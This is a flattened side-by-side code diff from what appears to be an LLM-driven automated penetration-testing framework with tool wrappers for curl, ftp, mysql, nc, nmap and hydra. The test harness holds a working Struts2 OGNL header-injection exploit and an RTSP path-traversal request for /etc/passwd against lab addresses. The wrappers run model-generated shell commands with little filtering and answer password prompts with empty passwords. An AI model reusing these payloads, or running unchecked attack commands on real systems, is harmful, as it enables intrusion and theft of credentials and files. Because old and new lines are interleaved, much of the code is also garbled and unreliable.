def do_test(self):
pass
def tmp_test(self):
list_a = [0,1,2,3,4,5,6,7,8,9]
isart = len(list_a) - 4 # 正常应该都是两个两个
if isart % 2 != 0:
print("c_msg数量不对称,需要检查逻辑!")
for msg in list_a[isart:]:
print(msg)
if __name__ == "__main__": if __name__ == "__main__":
# 示例使用 # 示例使用
mytest = Mytest() mytest = Mytest()
LLM = LLMManager(1) LLM = LLMManager(1)
PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
current_path = os.path.dirname(os.path.realpath(__file__)) current_path = os.path.dirname(os.path.realpath(__file__))
print(current_path) print(current_path)
test_type = 1 test_type = 1
task_id = 16 task_id = 49
task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip",None) task_Object = TaskObject("test_target","cookie_info",1,1,1,"local_ip","",None)
if test_type == 1: if test_type == 0:
mytest.dynamic_fun()
elif test_type == 1:
# # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen'] # # 获取所有自定义函数详情 HIGH_RISK_FUNCTIONS = ['eval', 'exec', 'os.system', 'subprocess.call', 'subprocess.Popen']
str_instr = '''python-code instruction = '''python-code
import requests
def dynamic_fun(): def dynamic_fun():
# 基于布尔条件的盲注检测 import socket
true_condition = "'test'=='test'"
false_condition = "'test'=='wrong'"
payload_template = (
"%{(#_='multipart/form-data')."
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
"(#_memberAccess?(#_memberAccess=#dm):"
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])"
".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))"
".(#ognlUtil.getExcludedPackageNames().clear())"
".(#ognlUtil.getExcludedClasses().clear())"
".(#context.setMemberAccess(#dm))))."
f"(#result=@java.lang.Boolean@parseBoolean({{}}))}}"
)
try: try:
# 发送真条件请求 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
true_payload = payload_template.format(true_condition) s.settimeout(20) # 设置超时时间为20秒
r_true = requests.get( s.connect(("192.168.3.105", 11200))
'http://192.168.204.137',
headers={'Content-Type': true_payload},
timeout=10
)
# 发送假条件请求
false_payload = payload_template.format(false_condition)
r_false = requests.get(
'http://192.168.204.137',
headers={'Content-Type': false_payload},
timeout=10
)
# 对比响应差异
if r_true.status_code != r_false.status_code:
return (True, f'Different status codes detected (True: {r_true.status_code} vs False: {r_false.status_code})')
if len(r_true.content) != len(r_false.content):
return (True, f'Content length difference detected (True: {len(r_true.content)} vs False: {len(r_false.content)})')
return (False, 'No observable differences between true/false conditions')
except Exception as e: # 发送畸形RTSP请求探测边界条件
return (False, f'Request failed: {str(e)}') payload = "DESCRIBE rtsp://192.168.3.105/../../../../etc/passwd RTSP/1.0\\\\r\\\\n"
''' payload += "CSeq: 6\\\\r\\\\n\\\\r\\\\n"
#str_instr = str_instr.strip() + " --max-time 10"
dedented_code = textwrap.dedent(str_instr.strip()) s.send(payload.encode())
#对多shell指令的情况进行处理--也有风险 response = s.recv(4096).decode()
if "python-code" not in dedented_code:
if "&&" in dedented_code: s.close()
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "&&")
elif "||" in dedented_code: if "404" in response:
dedented_code = task_Object.mill_instr_preprocess(dedented_code, "||") return (False, "存在输入过滤机制")
instr, reslut, source_result, ext_params = g_instrM.execute_instruction(dedented_code) elif "root:" in response:
return (True, "成功读取敏感文件")
else: else:
instr, reslut, source_result, ext_params = PythonM.execute_instruction(dedented_code) return (False, f"未知响应:{response}")
except Exception as e:
return (False, f"连接异常:{str(e)}")
'''
task_Object.PythonM.start_pool() #开个子进程池就行
start_time, end_time, bsuccess, instr, reslut, source_result, ext_params = task_Object.do_instruction(instruction)
# 暂存结果
oneres = {'执行指令': instr, '结果': reslut}
print("----执行结果----") print("----执行结果----")
print(reslut) print(reslut)
elif test_type == 2: #给节点添加指令 elif test_type == 2: #给节点添加指令
node_path = "目标系统->192.168.3.105->52989端口"
instr_id = 3233
g_TaskM.load_tasks() g_TaskM.load_tasks()
task = g_TaskM.tasks[task_id] task = g_TaskM.tasks[task_id]
nodes = task.attack_tree.traverse_dfs() nodes = task.attack_tree.traverse_dfs()
cur_node = nodes[78] cur_node = None
commands = [ for node in nodes:
] if node.path == node_path:
for cmd in commands: cur_node = node
cur_node.add_instr(cmd) break
if cur_node:
str_instr = app_DBM.get_one_instr(instr_id)
if "import" in str_instr:
str_instr = "python-code " + str_instr
cur_node.test_add_instr(str_instr)
cur_node.update_work_status(1) cur_node.update_work_status(1)
#保存数据 #保存数据
g_PKM.WriteData(task.attack_tree,str(task.task_id)) g_PKM.WriteData(task.attack_tree,str(task.task_id))
elif test_type ==3: #按格式读取指令 else:
pass print("没找到节点!")
elif test_type ==3: #测试指令入节点
strinstr = '''
'''
strNodes = "执行系统命令探测,权限提升尝试,横向移动测试"
nodes = strNodes.split(', ')
unique_names = list(set(nodes)) # 去重
for node_name in unique_names:
print(node_name)
elif test_type == 4: # 修改Messages elif test_type == 4: # 修改Messages
attact_tree = g_PKM.ReadData("6") attact_tree = g_PKM.ReadData("27")
# 创建一个新的节点 # 创建一个新的节点
from mycode.AttackMap import TreeNode from mycode.AttackMap import TreeNode
testnode = TreeNode("test", 0) testnode = TreeNode("test", 0)
LLM.build_initial_prompt(testnode) # 新的Message LLM.build_initial_prompt(testnode) # 新的Message
systems = testnode.messages[0]["content"] systems = testnode.parent_messages[0]["content"]
# print(systems) # print(systems)
# 遍历node,查看有instr的ndoe # 遍历node,查看有instr的ndoe
nodes = attact_tree.traverse_bfs() nodes = attact_tree.traverse_bfs()
for node in nodes: for node in nodes:
node.messages[0]["content"] = systems node.parent_messages[0]["content"] = systems
g_PKM.WriteData(attact_tree, "6") g_PKM.WriteData(attact_tree, "27")
print("完成Messgae更新") print("完成Messgae更新")
elif test_type ==5:
mytest.dynamic_fun()
elif test_type == 6:
mytest.tmp_test()
else: else:
pass pass

92
tools/CurlTool.py

@ -1,7 +1,8 @@
import requests import requests
import shlex import pexpect
import re import re
import json import json
import subprocess
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
@ -13,21 +14,18 @@ class CurlTool(ToolBase):
# self.verify_ssl = True # self.verify_ssl = True
def get_time_out(self): def get_time_out(self):
return 60*5 return 61*2
def validate_instruction(self, instruction_old): def validate_instruction(self, instruction_old):
#instruction = instruction_old #instruction = instruction_old
#指令过滤 #指令过滤
timeout = 0 #curl指令遇到不返回的情况 curl --path-as-is -i http://192.168.204.137:8180/webapps/../conf/tomcat-users.xml timeout = self.get_time_out() #curl指令遇到不返回的情况 curl --path-as-is -i http://192.168.204.137:8180/webapps/../conf/tomcat-users.xml
#添加-i 返回信息头 #添加-i 返回信息头
if 'base64 -d' in instruction_old: if 'base64 -d' in instruction_old:
return instruction_old return instruction_old
# 如果指令中含有管道,将第一部分(即 curl 命令)单独处理,再拼接回去
parts = instruction_old.split('|') #grep情况处理
first_cmd = parts[0].strip() # 第一条命令
# 分割成单词列表便于处理参数 # 分割成单词列表便于处理参数
curl_parts = first_cmd.split() curl_parts = instruction_old.split()
# 如果第一条命令是 curl,则进行处理 # 如果第一条命令是 curl,则进行处理
if curl_parts and curl_parts[0] == "curl": #只是处理了第一个curl if curl_parts and curl_parts[0] == "curl": #只是处理了第一个curl
# 判断是否需要添加包含响应头的选项:若没有 -I、-i 或 --include,则在 URL前插入 -i # 判断是否需要添加包含响应头的选项:若没有 -I、-i 或 --include,则在 URL前插入 -i
@ -44,12 +42,80 @@ class CurlTool(ToolBase):
if not any(p.startswith("--max-time") for p in curl_parts): if not any(p.startswith("--max-time") for p in curl_parts):
curl_parts.append("--max-time") curl_parts.append("--max-time")
curl_parts.append(str(self.get_time_out())) #添加超时时间 curl_parts.append(str(self.get_time_out())) #添加超时时间
# 将第一部分命令重组 final_instruction = ' '.join(curl_parts)
parts[0] = ' '.join(curl_parts)
# 将所有部分重新用 | 拼接起来(保留管道符号两边的空格)
final_instruction = ' | '.join(part.strip() for part in parts)
return final_instruction, timeout return final_instruction, timeout
def do_worker_pexpect(self,str_instruction,timeout,ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash',['-c',str_instruction],timeout=timeout)#spawn 第一个参数是可执行文件
while True:
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
])
try:
response = exc_do.before.decode('utf-8', errors='replace')
except Exception as e:
response = f"无法解码响应: {str(e)}"
result += response
if index == 0:
result += f"\n执行超时{timeout}"
break
elif index == 1:
break
else:
print("遇到其他输出!")
break
print(result)
return result
except Exception as e:
return f"执行错误: {str(e)}"
def do_worker_subprocess(self,str_instruction,timeout,ext_params):
try:
# 执行命令,捕获输出为字节形式
if timeout:
result = subprocess.run(str_instruction, shell=True,timeout=timeout, capture_output=True)
else:
result = subprocess.run(str_instruction, shell=True, capture_output=True)
if result.returncode == 0:
# 命令成功,处理 stdout
try:
response = result.stdout.decode('utf-8', errors='replace')
except Exception as e:
response = f"无法解码响应: {str(e)}"
return response
else:
# 命令失败,处理 stderr
try:
error = result.stderr.decode('utf-8', errors='replace')
except Exception as e:
error = f"无法解码错误信息: {str(e)}"
return error
except Exception as e:
return (f"命令执行失败: {str(e)}")
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
#output = self.do_worker_pexpect(instruction, time_out, ext_params)
output = self.do_worker_subprocess(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def get_ssl_info(self,stderr,stdout): def get_ssl_info(self,stderr,stdout):
# -------------------------- # --------------------------
# 解释信息的安全意义: # 解释信息的安全意义:
@ -232,6 +298,10 @@ class CurlTool(ToolBase):
return result return result
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
if len(result) < 2000:
return result
if "curl: (28) Operation timed out after" in result or "Dload Upload Total Spent Left Speed" in result:
return "执行超时"
#指令结果分析 #指令结果分析
if("-H "in instruction and "Host:" in instruction):# 基于证书域名进行跨站劫持 if("-H "in instruction and "Host:" in instruction):# 基于证书域名进行跨站劫持
if "HTTP/1.1 200" in result: # and "<urlset" in result: if "HTTP/1.1 200" in result: # and "<urlset" in result:

42
tools/EchoTool.py

@ -1,13 +1,49 @@
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
import pexpect
class EchoTool(ToolBase): class EchoTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 60*5
if " nc " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def do_worker_pexpect(self, str_instruction, timeout, ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash', ['-c', str_instruction], timeout=timeout,
encoding='utf-8') # spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index == 1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 #指令结果分析
if "GET / HTTP/1.1" in result and "X-Original-URL: /proc/self/environ" in result: if "GET / HTTP/1.1" in result and "X-Original-URL: /proc/self/environ" in result:

81
tools/FtpTool.py

@ -5,6 +5,7 @@ import os
import ipaddress import ipaddress
import subprocess import subprocess
import tempfile import tempfile
import pexpect
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class FtpTool(ToolBase): class FtpTool(ToolBase):
@ -44,8 +45,8 @@ class FtpTool(ToolBase):
return res return res
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
timeout = 30 timeout = 60
#modified_code = "ftp匿名登录测试"
#若有put文件,则替换为payload文件 #若有put文件,则替换为payload文件
new_file = "payload/test.txt" new_file = "payload/test.txt"
new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction) new_instr = re.sub(r'(put\s+)\S+', r'\1' + new_file, instruction)
@ -56,33 +57,40 @@ class FtpTool(ToolBase):
return new_instr,timeout return new_instr,timeout
def do_worker_subprocess(self,str_instruction,timeout,ext_params): def do_worker_pexpect(self,str_instruction,timeout,ext_params):
output = ""
stdout = ""
stderr = ""
try: try:
if timeout == 0: result = ""
result = subprocess.run(str_instruction, shell=True, capture_output=True, text=True) exc_do = pexpect.spawn('bash',['-c',str_instruction],timeout=timeout,encoding='utf-8')#spawn 第一个参数是可执行文件
elif timeout > 0: while True:
result = subprocess.run(str_instruction, shell=True, capture_output=True, text=True, timeout=timeout) index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
'\):',
'Password:',
'ftp>'
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
break
elif index == 1:
break
elif index==2:
result += "):\n"
exc_do.sendline('') # 输入空密码后不知道会有多少种情况,密码不对,密码对
continue
elif index ==3:#针对要输入密码的情况,暂时智能输入个空字符
result += "Password:\n"
exc_do.sendline('') # 输入空密码后不知道会有多少种情况,密码不对,密码对
continue
elif index == 4:
break
else: else:
print("timeout参数错误") print("遇到其他输出!")
stderr = result.stderr break
stdout = result.stdout return result
except subprocess.TimeoutExpired as e:
stdout = e.stdout if e.stdout is not None else ""
stderr = e.stderr if e.stderr is not None else ""
ext_params.is_user = True # 对于超时的也需要人工进行确认,是否是预期的超时
except Exception as e: except Exception as e:
ext_params.is_user = True return f"执行错误: {str(e)}"
return False, str_instruction, f"执行失败:{str(e)}", "", ext_params # 执行失败,提交给人工确认指令的正确性
output = stdout
if stderr:
output += stderr
if isinstance(output, bytes): # 若是bytes则转成str
output = output.decode('utf-8', errors='ignore')
return output
def do_worker_script(self,str_instruction,timeout,ext_params): def do_worker_script(self,str_instruction,timeout,ext_params):
# 创建临时文件保存输出 # 创建临时文件保存输出
@ -101,7 +109,7 @@ class FtpTool(ToolBase):
ftp_output = lines[1:-1] ftp_output = lines[1:-1]
output = '\n'.join(ftp_output) output = '\n'.join(ftp_output)
except subprocess.TimeoutExpired: except subprocess.TimeoutExpired:
output = "命令超时返回" output = f"命令超时返回--{timeout}"
try: try:
with open(output_file, 'r') as f: with open(output_file, 'r') as f:
partial_output = f.read() partial_output = f.read()
@ -130,23 +138,8 @@ class FtpTool(ToolBase):
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断 # 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params) #output = self.do_worker_script(instruction, time_out, ext_params)
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# pattern = re.compile(r'ftp\s+-n\s+\S+(\s+\d+)?\s+<<\s*EOF')
# match = pattern.search(instruction)
# if bool(match): #如果是 ftp -n 192.168.204.137 <<EOF 开头
# # output = self.do_worker_subprocess(instruction,time_out,ext_params)
# # if not output:
# output = self.do_worker_script(instruction,time_out,ext_params)
# else: #最后使用ftp匿名登陆验证代码
# target = ""
# for str in instruction_old.split():
# if self.is_ip_domain(str):
# target = str
# if target:
# output = self.test_anonymous_ftp_login(target)
# else:
# output = f"本地程序暂不支持该指令内容"
# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","") analysis = self.analyze_result(output,instruction,"","")

17
tools/GobusterTool.py

@ -28,13 +28,26 @@ class GobusterTool(ToolBase):
timeout = 60*15 timeout = 60*15
if "-q" not in instruction: if "-q" not in instruction:
instruction += ' -q' instruction += ' -q'
if "--no-color" not in instruction:
instruction += " --no-color"
return instruction,timeout return instruction,timeout
def strip_ansi(self,s: str) -> str:
"""
移除常见的 ANSI 转义序列比如 ESC[2K, ESC[31m
"""
# 匹配 ESC[ ... letter 的模式
ansi_escape = re.compile(r'\x1b\[[0-9;]*[A-Za-z]')
return ansi_escape.sub('', s)
def is_false_result(self,output,wordlist_path): def is_false_result(self,output,wordlist_path):
output = self.strip_ansi(output)
#输出结果的行数 #输出结果的行数
discovered = [line for line in output.splitlines() if line] discovered = [line for line in output.splitlines() if line]
#字典个数 #字典个数
with open(wordlist_path, "r") as f: with open(wordlist_path, "r", encoding='utf-8', errors='ignore') as f:
wordlist_count = sum(1 for line in f if line.strip()) wordlist_count = sum(1 for line in f if line.strip())
if wordlist_count and len(discovered) >= int(0.1 * wordlist_count): if wordlist_count and len(discovered) >= int(0.1 * wordlist_count):
return False, "字典项中绝大部分路径都匹配成功,应该是应用端做了防护处理" return False, "字典项中绝大部分路径都匹配成功,应该是应用端做了防护处理"
@ -77,8 +90,6 @@ class GobusterTool(ToolBase):
if badd: if badd:
result +='\n' result +='\n'
result += line result += line
else:
return ""
return result return result
if __name__ == '__main__': if __name__ == '__main__':

3
tools/HydraTool.py

@ -70,6 +70,9 @@ class HydraTool(ToolBase):
# result = self.merge_info(result) # result = self.merge_info(result)
# print(result) # print(result)
#加文件后缀了 #加文件后缀了
if not result and "-o " in instruction:
result = "输出文件中内容为空"
else:
lines = result.splitlines() lines = result.splitlines()
if len(lines) == 1: if len(lines) == 1:
result = "没有匹配到成功的结果" result = "没有匹配到成功的结果"

112
tools/MysqlTool.py

@ -1,6 +1,8 @@
#mysql #mysql
#pip install mysql-connector-python #pip install mysql-connector-python
import subprocess import pexpect
import shlex
import re
import mysql.connector import mysql.connector
from mysql.connector import Error from mysql.connector import Error
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
@ -31,63 +33,101 @@ class MysqlTool(ToolBase):
res = f"连接失败: {host} - {e}" res = f"连接失败: {host} - {e}"
return res return res
def extract_mysql_password(self,command_line: str) -> str:
"""
MySQL 命令行中提取 -p 参数后的密码值
支持场景
-p'' 返回空字符串
-p'password' 返回 'password'
-p"password" 返回 'password'
-ppassword 返回 'password'
-p password 返回 'password'
"""
# 正则匹配模式
pattern = r'''
-p # 匹配 -p 参数
(?: # 非捕获分组
\s* # 允许空格(如 -p password)
(["']?) # 捕获引号类型(单引号/双引号/无引号)
(.*?) # 捕获密码内容
\1 # 闭合引号(与开头引号一致)
| # 或
(\S+) # 直接捕获无空格的密码(如 -ppassword)
)
'''
matches = re.search(pattern, command_line, re.VERBOSE)
if not matches:
return ""
# 提取密码(处理三种情况:引号包裹、无引号、直接拼接)
password = matches.group(2) or matches.group(3) or ""
return password
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
timeout = 30 timeout = 60
#modified_code = "mysql空密码登录测试" #modified_code = "mysql空密码登录测试"
instr = instruction.replace("--ssl-mode=DISABLED","--ssl=0") #mariaDB 没有ssl-mode参数 instr = instruction.replace("--ssl-mode=DISABLED","--ssl=0") #mariaDB 没有ssl-mode参数
# if "--ssl=0" not in instr: # if "--ssl=0" not in instr:
# instr = instr + " --ssl=0" # instr = instr + " --ssl=0"
return instr,timeout return instr,timeout
def do_worker_pexpect(self,str_instruction,timeout,ext_params):
try:
#safe_command = shlex.quote(str_instruction)
#cmd = f"bash -c {safe_command}"
strpwsd = self.extract_mysql_password(str_instruction)
result = ""
exc_do = pexpect.spawn('bash',['-c',str_instruction],timeout=timeout,encoding='utf-8')#spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
'Enter password:'
])
result += str(exc_do.before)
if index == 0 or index ==1:
return result
elif index==2:#针对要输入密码的情况,暂时智能输入个空字符
result += "Enter password:\n"
exc_do.sendline(strpwsd) # 输入空密码后不知道会有多少种情况,密码不对,密码对
index = exc_do.expect([pexpect.TIMEOUT, pexpect.EOF])
result += str(exc_do.before)
else:
print("遇到其他输出!")
return result
except Exception as e:
return f"执行错误: {str(e)}"
#对于非sh命令调用的工具,自己实现命令执行的内容 --#2025-3-24暂时不使用 #对于非sh命令调用的工具,自己实现命令执行的内容 --#2025-3-24暂时不使用
def execute_instruction_old(self, instruction_old): def execute_instruction(self, instruction_old):
ext_params = self.create_extparams() ext_params = self.create_extparams()
# 第一步:验证指令合法性 # 第一步:验证指令合法性
instruction,timeout = self.validate_instruction(instruction_old) instruction, timeout = self.validate_instruction(instruction_old)
if not instruction: if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params ext_params.is_user = True
return False, instruction_old, "该指令暂不执行!由用户确认是否要兼容支持", "", ext_params # 未
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令 # 第二步:执行指令
# target = "" output = self.do_worker_pexpect(instruction, timeout, ext_params)
# parts = instruction_old.split()
# for i, part in enumerate(parts):
# if part == "-h" and i + 1 < len(parts):
# target = parts[i + 1]
# output = self.test_empty_password_mysql_connection(target)#弱密码攻击如何处理?
output = ""
stdout = ""
stderr = ""
try:
if timeout == 0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True)
elif timeout > 0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout)
else:
print("timeout参数错误,需要自查程序逻辑!")
stderr = result.stderr
stdout = result.stdout
except subprocess.TimeoutExpired as e:
stdout = e.stdout if e.stdout is not None else ""
stderr = e.stderr if e.stderr is not None else ""
ext_params.is_user = True # 对于超时的也需要人工进行确认,是否是预期的超时
except Exception as e:
ext_params.is_user = True
return False, instruction, f"执行失败:{str(e)}", "", ext_params # 执行失败,提交给人工确认指令的正确性
# 第三步:分析执行结果 # 第三步:分析执行结果
output = stdout
if stderr:
output += stderr
if isinstance(output, bytes): # 若是bytes则转成str if isinstance(output, bytes): # 若是bytes则转成str
output = output.decode('utf-8', errors='ignore') output = output.decode('utf-8', errors='ignore')
analysis = self.analyze_result(output, instruction, stderr, stdout)
analysis = self.analyze_result(output, instruction, "", "")
if not analysis: # analysis为“” 不提交LLM if not analysis: # analysis为“” 不提交LLM
ext_params.is_user = True ext_params.is_user = True
return False, instruction, analysis, output, ext_params return False, instruction, analysis, output, ext_params
return True, instruction, analysis, output, ext_params return True, instruction, analysis, output, ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
# #如果有--------,把这些-去除掉
if result:
result = result.replace("--------------","")
else:
result = ""
return result return result

45
tools/NcTool.py

@ -1,3 +1,4 @@
import pexpect
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
class NcTool(ToolBase): class NcTool(ToolBase):
@ -8,6 +9,50 @@ class NcTool(ToolBase):
instruction = f"bash -c \"{instruction}\"" instruction = f"bash -c \"{instruction}\""
return instruction,timeout return instruction,timeout
def do_worker_pexpect(self,str_instruction,timeout,ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash',['-c',str_instruction],timeout=timeout,encoding='utf-8')#spawn 第一个参数是可执行文件
while True:
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF,
'Password:'
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
break
elif index == 1:
break
elif index == 2:
result += "Password:\n"
exc_do.sendline('') # 输入空密码后不知道会有多少种情况,密码不对,密码对
continue
else:
print("遇到其他输出!")
break
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
#output = self.do_worker_script(instruction, time_out, ext_params)
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 #指令结果分析

40
tools/NmapTool.py

@ -1,6 +1,7 @@
# Nmap工具类 # Nmap工具类
import re import re
import json import json
import pexpect
from typing import List, Dict, Any from typing import List, Dict, Any
from tools.ToolBase import ToolBase from tools.ToolBase import ToolBase
@ -8,11 +9,48 @@ from tools.ToolBase import ToolBase
class NmapTool(ToolBase): class NmapTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#nmap过滤 #nmap过滤
timeout = 0 timeout = 60*15
if "&& nc " in instruction or "&& ftp " in instruction: if "&& nc " in instruction or "&& ftp " in instruction:
timeout = 60 timeout = 60
return instruction,timeout return instruction,timeout
def do_worker_pexpect(self,str_instruction,timeout,ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash',['-c',str_instruction],timeout=timeout,encoding='utf-8')#spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index ==1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
#output = self.do_worker_script(instruction, time_out, ext_params)
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]: def parse_nmap_output(self,nmap_output: str) -> Dict[str, Any]:
""" """
分析 nmap 扫描输出提取常见信息 分析 nmap 扫描输出提取常见信息

43
tools/OpensslTool.py

@ -4,13 +4,53 @@ from cryptography.hazmat.backends import default_backend
from cryptography.x509 import NameOID from cryptography.x509 import NameOID
import re import re
import json import json
import pexpect
class OpensslTool(ToolBase): class OpensslTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 60*5
return instruction,timeout return instruction,timeout
def do_worker_pexpect(self, str_instruction, timeout, ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash', ['-c', str_instruction], timeout=timeout,
encoding='utf-8') # spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index == 1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
#output = self.do_worker_script(instruction, time_out, ext_params)
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def parse_name(self,name): def parse_name(self,name):
"""解析X509名称对象为结构化字典""" """解析X509名称对象为结构化字典"""
return { return {
@ -63,6 +103,7 @@ class OpensslTool(ToolBase):
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 #指令结果分析
if len(result) > 3000:
result = self.parse_ssl_info(stdout) result = self.parse_ssl_info(stdout)
result = json.dumps(result,ensure_ascii=False) result = json.dumps(result,ensure_ascii=False)
return result return result

26
tools/OtherTool.py

@ -4,7 +4,7 @@ import os
import shlex import shlex
import subprocess import subprocess
import tempfile import tempfile
import pexpect
class OtherTool(ToolBase): class OtherTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
@ -54,6 +54,27 @@ class OtherTool(ToolBase):
pass # 文件可能未创建 pass # 文件可能未创建
return output return output
def do_worker_pexpect(self, str_instruction, timeout, ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash', ['-c', str_instruction], timeout=timeout,
encoding='utf-8') # spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index == 1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old): def execute_instruction(self, instruction_old):
ext_params = self.create_extparams() ext_params = self.create_extparams()
# 第一步:验证指令合法性 # 第一步:验证指令合法性
@ -63,7 +84,8 @@ class OtherTool(ToolBase):
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#? # 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断 # 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_script(instruction, time_out, ext_params) #output = self.do_worker_script(instruction, time_out, ext_params)
output = self.do_worker_pexpect(instruction, time_out, ext_params)
